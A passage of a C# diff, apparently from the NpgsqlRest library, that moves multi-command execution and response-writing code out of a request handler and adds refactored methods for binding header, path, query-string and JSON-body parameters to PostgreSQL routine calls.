string.Join(";\n", routine.MultiCommandInfo.Select(c => c.Statement)); - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", allSql); - } - else + if (b.headers is null) { - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", - string.Concat(routine.SimpleDefinition, " (", routine.MultiCommandInfo.Length.ToString(), " statements)")); + SearializeHeader(Options, b.context, ref b.headers); } - } + parameter.ParamType = ParamType.HeaderParam; + parameter.Value = b.headers; - // Void multi-command: execute all statements, return 204 - if (endpoint.Void) - { - for (int cmdIndex = 0; cmdIndex < routine.MultiCommandInfo.Length; cmdIndex++) + if (Options.ValidateParameters is not null) { - var currentCmd = routine.MultiCommandInfo[cmdIndex]; - await using var mcCmd = new NpgsqlCommand(currentCmd.Statement, connection); - if (endpoint.CommandTimeout.HasValue) + Options.ValidateParameters(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - mcCmd.CommandTimeout = endpoint.CommandTimeout.Value.Seconds; + return false; } - for (int pi = 0; pi < Math.Min(currentCmd.ParamCount, command.Parameters.Count); pi++) + } + if (Options.ValidateParametersAsync is not null) + { + await Options.ValidateParametersAsync(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - var srcParam = command.Parameters[pi]; - mcCmd.Parameters.Add(new NpgsqlParameter - { - NpgsqlDbType = srcParam.NpgsqlDbType, - Value = srcParam.Value ?? DBNull.Value - }); + return false; } - await mcCmd.ExecuteNonQueryWithRetryAsync( - endpoint.RetryStrategy, - cancellationToken, - errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); } - context.Response.StatusCode = (int)HttpStatusCode.NoContent; - return; - } - - context.Response.ContentType = Application.Json; - - // Write opening { - writer.Write(Consts.Utf8OpenBrace); - - bool firstResultWritten = false; - for (int cmdIndex = 0; cmdIndex < routine.MultiCommandInfo.Length; cmdIndex++) - { - var currentCmd = routine.MultiCommandInfo[cmdIndex]; - - // Build a command for this statement - await using var mcCmd = new NpgsqlCommand(currentCmd.Statement, connection); - if (endpoint.CommandTimeout.HasValue) + if (b.endpoint.Cached is true && b.endpoint.CachedParams is not null) { - mcCmd.CommandTimeout = endpoint.CommandTimeout.Value.Seconds; + if (b.endpoint.CachedParams.Contains(parameter.ConvertedName) || b.endpoint.CachedParams.Contains(parameter.ActualName)) + { + parameter.AppendCacheKey(b.cacheKeys); + } } - // Bind parameters that this statement uses - for (int pi = 0; pi < Math.Min(currentCmd.ParamCount, command.Parameters.Count); pi++) + + if (Options.HttpClientOptions.Enabled) { - var srcParam = command.Parameters[pi]; - mcCmd.Parameters.Add(new NpgsqlParameter + if (parameter.TypeDescriptor.CustomType is not null) { - NpgsqlDbType = srcParam.NpgsqlDbType, - Value = srcParam.Value ?? DBNull.Value - }); + if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) + { + b.customHttpTypes.Add(parameter.TypeDescriptor.CustomType); + } + } } + if (!parameter.IsVirtual) b.command.Parameters.Add(parameter); - // Skipped commands: execute for side effects, no result key - if (currentCmd.IsSkipped) + if (b.hasNulls is false && parameter.Value == DBNull.Value) { - await mcCmd.ExecuteNonQueryWithRetryAsync( - endpoint.RetryStrategy, - cancellationToken, - errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); - continue; + b.hasNulls = true; } - // Write comma between results - if (firstResultWritten) + if (b.formatter.IsFormattable is false) { - writer.Write(Consts.Utf8Comma); + if (b.formatter.RefContext) + { + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex, b.context)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } + } + else + { + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex)); + } } - firstResultWritten = true; - - // Write "resultName": - var keyJson = string.Concat(currentCmd.JsonName, ":"); - writer.Advance(Encoding.UTF8.GetBytes(keyJson.AsSpan(), writer.GetSpan(Encoding.UTF8.GetMaxByteCount(keyJson.Length)))); - - if (currentCmd.ColumnCount == 0) + b.paramIndex++; + if (b.shouldLog && Options.LogCommandParameters) { - // Void command — execute and write rows affected count - var rowsAffected = await mcCmd.ExecuteNonQueryWithRetryAsync( - endpoint.RetryStrategy, - cancellationToken, - errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); - var rowsStr = rowsAffected.ToString(); - writer.Advance(Encoding.UTF8.GetBytes(rowsStr.AsSpan(), writer.GetSpan(Encoding.UTF8.GetMaxByteCount(rowsStr.Length)))); + var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && b.endpoint.IsAuth ? + "***" : + FormatParameterForLog(parameter); + b.cmdLog!.Append("-- $").Append(b.paramIndex).Append(' ') + .Append(parameter.TypeDescriptor.OriginalType) + .Append(" = ").AppendLine(p); } - else + + continue; + } + } + + // path parameter - extract from RouteValues + if (parameter.Value is null && b.endpoint.HasPathParameters) + { + // Use optimized O(1) lookup via HashSet + string? matchedPathParam = b.endpoint.FindMatchingPathParameter(parameter.ConvertedName, parameter.ActualName); + + // Try to get route value using the path parameter name from the template + if (matchedPathParam is not null && b.context.Request.RouteValues.TryGetValue(matchedPathParam, out var routeValue)) + { + StringValues pathStringValues = routeValue?.ToString() ?? ""; + if (TryParseParameter(parameter, ref pathStringValues, b.endpoint.QueryStringNullHandling)) { - // Query command — read result set as JSON array (or object if @single) - // AllResultTypesAreUnknown forces all values to string — same as single-command path - mcCmd.AllResultTypesAreUnknown = true; - await using var mcReader = await mcCmd.ExecuteReaderWithRetryAsync( - endpoint.RetryStrategy, - cancellationToken, - errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); + parameter.ParamType = ParamType.PathParam; + parameter.QueryStringValues = pathStringValues; - if (!currentCmd.IsSingle) + if (Options.ValidateParameters is not null) { - writer.Write(Consts.Utf8OpenBracket); + Options.ValidateParameters(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } } - bool mcFirstRow = true; - mcRowBuilder = StringBuilderPool.Rent(512); - var mcBufferRows = endpoint.BufferRows ?? Options.BufferRows; - ulong mcRowCount = 0; - - // Note: response caching for multi-command is not yet supported - // (cache key infrastructure is in the single-command path) - - // Nested composite column support (per-command) - Dictionary? mcNestedMap = null; - if (endpoint.NestedJsonForCompositeTypes == true && routine.CompositeColumnInfo is not null) + if (Options.ValidateParametersAsync is not null) { - mcNestedMap = new(); - foreach (var (_, ci) in routine.CompositeColumnInfo) + await Options.ValidateParametersAsync(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - var indices = ci.ExpandedColumnIndices; - for (int fi = 0; fi < indices.Length; fi++) - { - if (indices[fi] < currentCmd.ColumnCount) - { - mcNestedMap[indices[fi]] = (ci.ConvertedColumnName, ci.FieldNames[fi], fi == 0, fi == indices.Length - 1, indices.Length, PgConverters.SerializeString(ci.ConvertedColumnName), PgConverters.SerializeString(ci.FieldNames[fi])); - } - } + return false; } - if (mcNestedMap.Count == 0) mcNestedMap = null; } - mcCompositeBuffer = mcNestedMap is not null ? StringBuilderPool.Rent(256) : null; - bool mcCompositeHasValue = false; - string? mcCurrentCompName = null; - string? mcCurrentJsonCompName = null; - - while (await mcReader.ReadAsync(cancellationToken)) + if (b.endpoint.Cached is true && b.endpoint.CachedParams is not null) { - mcRowCount++; - if (!mcFirstRow) + if (b.endpoint.CachedParams.Contains(parameter.ConvertedName) || b.endpoint.CachedParams.Contains(parameter.ActualName)) { - mcRowBuilder.Append(Consts.Comma); + parameter.AppendCacheKey(b.cacheKeys); } - mcFirstRow = false; + } - for (int col = 0; col < currentCmd.ColumnCount; col++) + if (Options.HttpClientOptions.Enabled) + { + if (parameter.TypeDescriptor.CustomType is not null) { - object value = mcReader.GetValue(col); - var raw = (value == DBNull.Value ? "" : (string)value).AsSpan(); - - // Decrypt if needed - if (value != DBNull.Value && - Options.AuthenticationOptions.DefaultDataProtector is not null && - (endpoint.DecryptAllColumns || - (endpoint.DecryptColumns is not null && - col < currentCmd.ColumnNames.Length && - endpoint.DecryptColumns.Contains(currentCmd.ColumnNames[col])))) - { - try - { - raw = Options.AuthenticationOptions.DefaultDataProtector.Unprotect((string)value).AsSpan(); - } - catch (Exception decryptEx) - { - Logger?.DecryptColumnFailed(decryptEx.Message); - } - } - - var mcDescriptor = currentCmd.ColumnTypeDescriptors[col]; - - // SQL file composite type column in multi-command - if (mcDescriptor.IsCompositeType && - mcDescriptor.CompositeFieldNames is not null && - mcDescriptor.CompositeFieldDescriptors is not null) - { - if (currentCmd.ReturnsUnnamedSet == false && col == 0) - { - mcRowBuilder.Append(Consts.OpenBrace); - } - - if (endpoint.NestedJsonForCompositeTypes == true) - { - if (currentCmd.ReturnsUnnamedSet == false) - { - mcRowBuilder.Append(currentCmd.JsonColumnNames[col]); - mcRowBuilder.Append(Consts.Colon); - } - if (value == DBNull.Value) - { - mcRowBuilder.Append(Consts.Null); - } - else - { - mcRowBuilder.Append(PgTupleToJsonObject( - raw, - mcDescriptor.CompositeFieldNames, - mcDescriptor.CompositeFieldDescriptors)); - } - } - else - { - // Flat mode: splice fields inline - if (value == DBNull.Value) - { - for (int fi = 0; fi < mcDescriptor.CompositeFieldNames.Length; fi++) - { - if (fi > 0) mcRowBuilder.Append(Consts.Comma); - mcRowBuilder.Append(PgConverters.SerializeString(mcDescriptor.CompositeFieldNames[fi])); - mcRowBuilder.Append(Consts.Colon); - mcRowBuilder.Append(Consts.Null); - } - } - else - { - var compositeJsonObj = PgTupleToJsonObject( - raw, - mcDescriptor.CompositeFieldNames, - mcDescriptor.CompositeFieldDescriptors); - if (compositeJsonObj.Length >= 2 && compositeJsonObj[0] == '{' && compositeJsonObj[compositeJsonObj.Length - 1] == '}') - { - mcRowBuilder.Append(compositeJsonObj[1..^1]); - } - else - { - mcRowBuilder.Append(compositeJsonObj); - } - } - } - - if (currentCmd.ReturnsUnnamedSet == false && col == currentCmd.ColumnCount - 1) - { - mcRowBuilder.Append(Consts.CloseBrace); - } - if (col < currentCmd.ColumnCount - 1) - { - mcRowBuilder.Append(Consts.Comma); - } - } - else - { - // Determine output buffer and handle composite nesting - (string CompositeColumnName, string FieldName, bool IsFirstField, bool IsLastField, int FieldCount, string JsonCompositeColumnName, string JsonFieldName) mcCompMapping = default; - bool mcIsInComposite = mcNestedMap is not null && mcNestedMap.TryGetValue(col, out mcCompMapping); - StringBuilder mcOutput = (mcIsInComposite && mcCompositeBuffer is not null) ? mcCompositeBuffer : mcRowBuilder; - - // Column name / structure - if (currentCmd.ReturnsUnnamedSet == false) - { - if (col == 0) mcRowBuilder.Append(Consts.OpenBrace); - - if (mcIsInComposite) - { - if (mcCompMapping.IsFirstField) - { - mcCompositeBuffer!.Clear(); - mcCompositeHasValue = false; - mcCurrentCompName = mcCompMapping.CompositeColumnName; - mcCurrentJsonCompName = mcCompMapping.JsonCompositeColumnName; - } - mcOutput.Append(mcCompMapping.JsonFieldName); - mcOutput.Append(Consts.Colon); - } - else - { - mcRowBuilder.Append(currentCmd.JsonColumnNames[col]); - mcRowBuilder.Append(Consts.Colon); - } - } - - // Value formatting — shared with single-command path - JsonValueFormatter.FormatValue( - raw, value, - mcDescriptor, - mcOutput, - routine.ArrayCompositeColumnInfo, - col); - - if (mcIsInComposite && value != DBNull.Value) mcCompositeHasValue = true; - - // Composite field closing - if (mcIsInComposite && mcCompMapping.IsLastField) - { - mcRowBuilder.Append(mcCurrentJsonCompName!); - mcRowBuilder.Append(Consts.Colon); - if (mcCompositeHasValue) - { - mcRowBuilder.Append(Consts.OpenBrace); - mcRowBuilder.Append(mcCompositeBuffer); - mcRowBuilder.Append(Consts.CloseBrace); - } - else - { - mcRowBuilder.Append(Consts.Null); - } - } - else if (mcIsInComposite) - { - mcOutput.Append(Consts.Comma); - } - - // Close brace and commas - if (currentCmd.ReturnsUnnamedSet == false && col == currentCmd.ColumnCount - 1) - { - mcRowBuilder.Append(Consts.CloseBrace); - } - if (!mcIsInComposite && col < currentCmd.ColumnCount - 1) - { - mcRowBuilder.Append(Consts.Comma); - } - else if (mcIsInComposite && mcCompMapping.IsLastField && col < currentCmd.ColumnCount - 1) + if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) { - mcRowBuilder.Append(Consts.Comma); + b.customHttpTypes.Add(parameter.TypeDescriptor.CustomType); } - } // end non-composite mc else - } - - if (currentCmd.IsSingle) - { - break; - } - - // Buffer rows flush - if (mcBufferRows > 0 && mcRowCount % mcBufferRows == 0) - { - WriteStringBuilderToWriter(mcRowBuilder, writer); - await writer.FlushAsync(cancellationToken); } } + if (!parameter.IsVirtual) b.command.Parameters.Add(parameter); - if (currentCmd.IsSingle && mcRowCount == 0) + if (b.hasNulls is false && parameter.Value == DBNull.Value) { - // Empty result with @single — write null - writer.Write(Consts.Utf8Null); + b.hasNulls = true; } - if (mcRowBuilder.Length > 0) + if (b.formatter.IsFormattable is false) { - WriteStringBuilderToWriter(mcRowBuilder, writer); + if (b.formatter.RefContext) + { + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex, b.context)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } + } + else + { + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex)); + } } - StringBuilderPool.Return(mcRowBuilder); - mcRowBuilder = null; - if (mcCompositeBuffer is not null) + b.paramIndex++; + if (b.shouldLog && Options.LogCommandParameters) { - StringBuilderPool.Return(mcCompositeBuffer); - mcCompositeBuffer = null; + var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && b.endpoint.IsAuth ? + "***" : + FormatParameterForLog(parameter); + b.cmdLog!.Append("-- $").Append(b.paramIndex).Append(' ') + .Append(parameter.TypeDescriptor.OriginalType) + .Append(" = ").AppendLine(p); } - if (!currentCmd.IsSingle) - { - writer.Write(Consts.Utf8CloseBracket); - } + continue; } } - - // Write closing } - writer.Write(Consts.Utf8CloseBrace); - await writer.FlushAsync(cancellationToken); - return; } - if (routine.IsVoid || endpoint.Void) - { - if (await PrepareCommand(connection, command, commandText, context, endpoint, true, cancellationToken) is false) - { - return; - } - if (shouldLog) - { - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", command.CommandText); - } - await command.ExecuteNonQueryWithRetryAsync( - endpoint.RetryStrategy, - cancellationToken, - errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); - context.Response.StatusCode = (int)HttpStatusCode.NoContent; - return; - } - else // end if (routine.IsVoid) + if (b.queryCollection!.TryGetValue(parameter.ConvertedName, out var qsValue) is false) { - if (routine.ReturnsSet == false && routine.ColumnCount == 1 && routine.ReturnsRecordType is false) + if (parameter.Value is null) { - TypeDescriptor descriptor = routine.ColumnsTypeDescriptor[0]; - - object? valueResult; - if (resolvedCache is not null && endpoint.Cached is true && bypassCache is false) + if (Options.ValidateParameters is not null) { - // Route through GetOrCreateAsync so a burst of identical requests coalesces into a - // single connection-open + execution (stampede protection). The connection is opened - // by PrepareCommand *inside* the factory, so coalesced waiters never touch the DB. - bool factoryRan = false; - try + Options.ValidateParameters(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - valueResult = await resolvedCache.GetOrCreateAsync( - endpoint, - cacheKeyString!, - async ct => - { - factoryRan = true; - if (await PrepareCommand(connection, command, commandText, context, endpoint, true, ct) is false) - { - throw new CacheFactoryAbortException(CacheFactoryAbortReason.ResponseAlreadyWritten); - } - - await using var reader = await command.ExecuteReaderWithRetryAsync( - CommandBehavior.SequentialAccess, - endpoint.RetryStrategy, - ct, - errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); - if (shouldLog) - { - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", command.CommandText); - } - if (await reader.ReadAsync(ct)) - { - return descriptor.IsBinary ? reader.GetFieldValue(0) : reader.GetValue(0) as string; - } - throw new CacheFactoryAbortException(CacheFactoryAbortReason.NoRow); - }, - cacheTtlOverride, - cancellationToken); - } - catch (CacheFactoryAbortException abort) - { - if (abort.Reason == CacheFactoryAbortReason.NoRow) - { - Logger?.CouldNotReadCommand(command.CommandText, context.Request.Method, context.Request.Path); - context.Response.StatusCode = (int)HttpStatusCode.InternalServerError; - } - // ResponseAlreadyWritten: PrepareCommand already wrote the lead caller's response. - return; + return false; } - if (factoryRan is false && shouldLog) + } + if (Options.ValidateParametersAsync is not null) + { + await Options.ValidateParametersAsync(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - cmdLog?.AppendLine("/* from cache */"); - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", commandText); + return false; } } - else + if (parameter.Value is null) { - if (await PrepareCommand(connection, command, commandText, context, endpoint, true, cancellationToken) is false) + if (parameter.TypeDescriptor.CustomType is not null) + { + parameter.Value = DBNull.Value; + } + else if (IsProxyResponseParameter(b.endpoint, parameter)) { - return; + // Proxy response parameter - set placeholder value and fall through to add it + parameter.Value = DBNull.Value; + parameter.ParamType = ParamType.QueryString; } - await using var reader = await command.ExecuteReaderWithRetryAsync( - CommandBehavior.SequentialAccess, - endpoint.RetryStrategy, - cancellationToken, - errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); - if (shouldLog) + else if (parameter.TypeDescriptor.HasDefault is false) { - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", command.CommandText); + b.shouldCommit = false; + b.uploadHandler?.OnError(b.connection, b.context, null); + b.context.Response.StatusCode = StatusCodes.Status404NotFound; + await b.context.Response.CompleteAsync(); + return false; } - if (await reader.ReadAsync(cancellationToken)) + else if (parameter.DefaultValue is not null) { - valueResult = descriptor.IsBinary ? reader.GetFieldValue(0) : reader.GetValue(0) as string; + // Explicit default value (SQL file annotation) — bind it + BindDefaultValue(parameter); + parameter.ParamType = ParamType.QueryString; } else { - Logger?.CouldNotReadCommand(command.CommandText, context.Request.Method, context.Request.Path); - context.Response.StatusCode = (int)HttpStatusCode.InternalServerError; - return; + continue; } } + } + } + + if (parameter.Value is null && TryParseParameter(parameter, ref qsValue, b.endpoint.QueryStringNullHandling) is false) + { + // Check if this is a proxy response parameter - it will be filled in later + if (IsProxyResponseParameter(b.endpoint, parameter)) + { + parameter.Value = DBNull.Value; + parameter.ParamType = ParamType.QueryString; + // Don't skip - fall through to add the parameter + } + else if (parameter.TypeDescriptor.HasDefault is false) + { + b.shouldCommit = false; + b.uploadHandler?.OnError(b.connection, b.context, null); + b.context.Response.StatusCode = StatusCodes.Status404NotFound; + await b.context.Response.CompleteAsync(); + return false; + } + else if (parameter.DefaultValue is not null) + { + BindDefaultValue(parameter); + parameter.ParamType = ParamType.QueryString; + } + else + { + continue; + } + } + + parameter.ParamType = ParamType.QueryString; + parameter.QueryStringValues = qsValue; + if (Options.ValidateParameters is not null) + { + Options.ValidateParameters(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } + } + if (Options.ValidateParametersAsync is not null) + { + await Options.ValidateParametersAsync(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } + } + if (b.endpoint.Cached is true && b.endpoint.CachedParams is not null) + { + if (b.endpoint.CachedParams.Contains(parameter.ConvertedName) || b.endpoint.CachedParams.Contains(parameter.ActualName)) + { + parameter.AppendCacheKey(b.cacheKeys); + } + } - // Decrypt scalar result if marked with decrypt annotation - if (valueResult is string scalarStr && - Options.AuthenticationOptions.DefaultDataProtector is not null && - (endpoint.DecryptAllColumns || endpoint.DecryptColumns is not null)) + if (Options.HttpClientOptions.Enabled) + { + if (parameter.TypeDescriptor.CustomType is not null) + { + if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) { - try - { - valueResult = Options.AuthenticationOptions.DefaultDataProtector.Unprotect(scalarStr); - } - catch (Exception decryptEx) - { - Logger?.DecryptColumnFailed(decryptEx.Message); - } + b.customHttpTypes.Add(parameter.TypeDescriptor.CustomType); } + } + } + b.command.Parameters.Add(parameter); - if (context.Response.ContentType is null) + if (b.hasNulls is false && parameter.Value == DBNull.Value) + { + b.hasNulls = true; + } + + if (b.formatter.IsFormattable is false) + { + if (b.formatter.RefContext) + { + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex, b.context)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - if (descriptor.IsBinary) - { - context.Response.ContentType = Application.Octet; - } - else if ((descriptor.Category & TypeCategory.Json) != 0 || descriptor.IsArray) - { - context.Response.ContentType = Application.Json; - } - else - { - context.Response.ContentType = Text.Plain; - } + return false; } + } + else + { + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex)); + } + } + b.paramIndex++; + if (b.shouldLog && Options.LogCommandParameters) + { + var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && b.endpoint.IsAuth ? + "***" : + FormatParameterForLog(parameter); + b.cmdLog!.Append("-- $").Append(b.paramIndex).Append(' ') + .Append(parameter.TypeDescriptor.OriginalType) + .Append(" = ").AppendLine(p); + } + } + + // Skip query string validation for passthrough proxy endpoints - query will be forwarded as-is + if (!(b.endpoint.IsProxy && Options.ProxyOptions.Enabled && !b.endpoint.HasProxyResponseParameters)) + { + foreach (var queryKey in b.queryCollection!.Keys) + { + if (b.routine.ParamsHash.Contains(queryKey) is false) + { + b.shouldCommit = false; + b.uploadHandler?.OnError(b.connection, b.context, null); + b.context.Response.StatusCode = StatusCodes.Status404NotFound; + await b.context.Response.CompleteAsync(); + return false; + } + } + } + return true; + } - // if raw - if (endpoint.Raw) + /// + /// Binds the routine parameters from the JSON body (and path, claims, headers, uploads, resolved values). + /// Returns false when the request is finished (a response was written). Reads and updates the request state in + /// , and may switch the request to an overload (routine, endpoint, formatter). + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder<>))] + private async ValueTask BindBodyParametersAsync(RequestState b) + { + // Early-return guard: bodyDict is non-null for the rest of this block (later + // dereferences use `!` where the compiler's flow analysis loses the narrowing). + if (b.bodyDict is null) + { + // Body was present but is not a parseable JSON object - this is a client error, + // not a routing miss (parse failures are logged above via CouldNotParseJson). + b.shouldCommit = false; + b.uploadHandler?.OnError(b.connection, b.context, null); + b.context.Response.StatusCode = StatusCodes.Status400BadRequest; + await b.context.Response.CompleteAsync(); + return false; + } + + // Account for path parameters when counting body parameters + var pathParamCount = b.endpoint.PathParameters?.Length ?? 0; + var expectedBodyParamCount = b.routine.ParamCount - pathParamCount; + if (b.bodyDict.Count != expectedBodyParamCount && overloads.Count > 0) + { + if (overloads.TryGetValue(string.Concat(entry.Key, b.bodyDict.Count + pathParamCount), out var overload)) + { + b.routine = overload.Endpoint.Routine; + b.endpoint = overload.Endpoint; + b.formatter = overload.Formatter; + if (b.formatter.IsFormattable is false) + { + // Reinitialize commandTextBuilder for the new routine + b.commandTextBuilder?.Clear(); + if (b.commandTextBuilder is null) { - if (descriptor.IsBinary) - { - await writer.WriteAsync(valueResult as byte[], cancellationToken); - await writer.FlushAsync(cancellationToken); - } - else - { - var span = (valueResult as string).AsSpan(); - writer.Advance(Encoding.UTF8.GetBytes(span, writer.GetSpan(Encoding.UTF8.GetMaxByteCount(span.Length)))); - } + b.commandTextBuilder = StringBuilderPool.Rent(b.routine.Expression.Length + b.routine.ParamCount * 16); } - else + b.commandTextBuilder.Append(b.routine.Expression); + } + } + } + + for (int i = 0; i < b.routine.Parameters.Length; i++) + { + var parameter = b.routine.Parameters[i].NpgsqlRestParameterMemberwiseClone(); + + // Resolved parameter: skip HTTP filling, set to DBNull.Value placeholder. + // The actual value will be resolved via SQL expression after the parameter loop. + if (b.endpoint.ResolvedParameterExpressions is not null && + (b.endpoint.ResolvedParameterExpressions.ContainsKey(parameter.ActualName) || + b.endpoint.ResolvedParameterExpressions.ContainsKey(parameter.ConvertedName))) + { + parameter.Value = DBNull.Value; + if (Options.HttpClientOptions.Enabled) + { + if (parameter.TypeDescriptor.CustomType is not null) { - if (valueResult is null) - { - if (endpoint.TextResponseNullHandling == TextResponseNullHandling.NullLiteral) - { - writer.Write(Consts.Utf8Null); - } - else if (endpoint.TextResponseNullHandling == TextResponseNullHandling.NoContent) - { - context.Response.StatusCode = (int)HttpStatusCode.NoContent; - } - // else OK empty string - return; - } - if (descriptor.IsBinary) - { - await writer.WriteAsync(valueResult as byte[], cancellationToken); - await writer.FlushAsync(cancellationToken); - } - else + if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) { - var span = (descriptor.IsArray && valueResult is not null) ? - PgArrayToJsonArray((valueResult as string).AsSpan(), descriptor) : (valueResult as string).AsSpan(); - writer.Advance(Encoding.UTF8.GetBytes(span, writer.GetSpan(Encoding.UTF8.GetMaxByteCount(span.Length)))); + b.customHttpTypes.Add(parameter.TypeDescriptor.CustomType); } } - return; - } - else // end if (routine.ReturnsRecord == false) + if (!parameter.IsVirtual) b.command.Parameters.Add(parameter); + b.hasNulls = true; + if (b.formatter.IsFormattable is false) { - var binary = routine.ColumnsTypeDescriptor.Length == 1 && routine.ColumnsTypeDescriptor[0].IsBinary; - - // Check cache for records/sets (but not for binary or raw mode) - var canCacheRecordsAndSets = resolvedCache is not null - && endpoint.Cached is true - && bypassCache is false - && binary is false - && endpoint.Raw is false; - - if (canCacheRecordsAndSets) + if (b.formatter.RefContext) { - // Stampede protection for the streaming set path: serialize concurrent requests - // for this key. The lead executes and (within MaxCacheableRows) populates the cache - // below, so the waiters that acquire the gate next fall straight into this cache-hit - // branch instead of re-executing. Released in the outer finally. - recordCacheGate = GetRecordCacheGate(resolvedCache!, cacheKeyString!); - await recordCacheGate.WaitAsync(cancellationToken); - - if (resolvedCache!.Get(endpoint, cacheKeyString!, out var cachedResult)) + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex, b.context)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - if (shouldLog) - { - cmdLog?.AppendLine("/* from cache */"); - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", commandText ?? ""); - } - - if (context.Response.ContentType is null) - { - context.Response.ContentType = Application.Json; - } - - var cachedSpan = (cachedResult as string ?? "").AsSpan(); - writer.Advance(Encoding.UTF8.GetBytes(cachedSpan, writer.GetSpan(Encoding.UTF8.GetMaxByteCount(cachedSpan.Length)))); - return; + return false; } } + else + { + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex)); + } + } + b.paramIndex++; + if (b.shouldLog && Options.LogCommandParameters) + { + b.cmdLog!.Append("-- $").Append(b.paramIndex).Append(' ') + .Append(parameter.TypeDescriptor.OriginalType) + .Append(" = (resolved)").AppendLine(); + } + continue; + } + + if (parameter.HashOf is not null) + { + var hashValueBodyDict = b.bodyDict!.GetValueOrDefault(parameter.HashOf.ConvertedName)?.ToString(); + if (string.IsNullOrEmpty(hashValueBodyDict) is true) + { + parameter.Value = DBNull.Value; + } + else + { + parameter.Value = Options.AuthenticationOptions.PasswordHasher?.HashPassword(hashValueBodyDict) as object ?? DBNull.Value; + } + } + if (b.endpoint.UseUserParameters is true) + { + if (parameter.IsFromUserClaims is true && b.claimsDict is null) + { + b.claimsDict = b.context.User.BuildClaimsDictionary(Options.AuthenticationOptions); + } + if (parameter.IsIpAddress is true) + { + parameter.Value = b.context.Request.GetClientIpAddressDbParam(); + } + else if (b.context.User?.Identity?.IsAuthenticated is true && Options.AuthenticationOptions.ParameterNameClaimsMapping.TryGetValue(parameter.ActualName, out var claimType)) + { + // Claim auto-bind always wins (security routines depend on it). If the + // request also supplied a value, it would otherwise be silently dropped — + // surface that as a WARN so a parameter naming collision is visible. + if (b.bodyDict is not null + && (b.bodyDict.ContainsKey(parameter.ConvertedName) || b.bodyDict.ContainsKey(parameter.ActualName))) + { + Logger?.ClaimMappedParamReceivedRequestValue( + b.endpoint.Path, parameter.ActualName, "body", claimType); + } + parameter.Value = b.claimsDict!.GetClaimDbParam(claimType); + } + else if (b.context.User?.Identity?.IsAuthenticated is true && parameter.IsUserClaims is true) + { + parameter.Value = b.claimsDict?.GetUserClaimsDbParam() ?? DBNull.Value; + } + } + if (parameter.IsUploadMetadata is true) + { + b.uploadMetaParamIndex = b.command.Parameters.Count; // the last one added + parameter.Value = DBNull.Value; + } - NpgsqlDataReader reader; - await using NpgsqlBatch? batch = routine.IsMultiCommand && routine.MultiCommandInfo is not null ? new NpgsqlBatch(connection) : null; + // header parameter + if (parameter.Value is null && + b.endpoint.RequestHeadersMode == RequestHeadersMode.Parameter && + 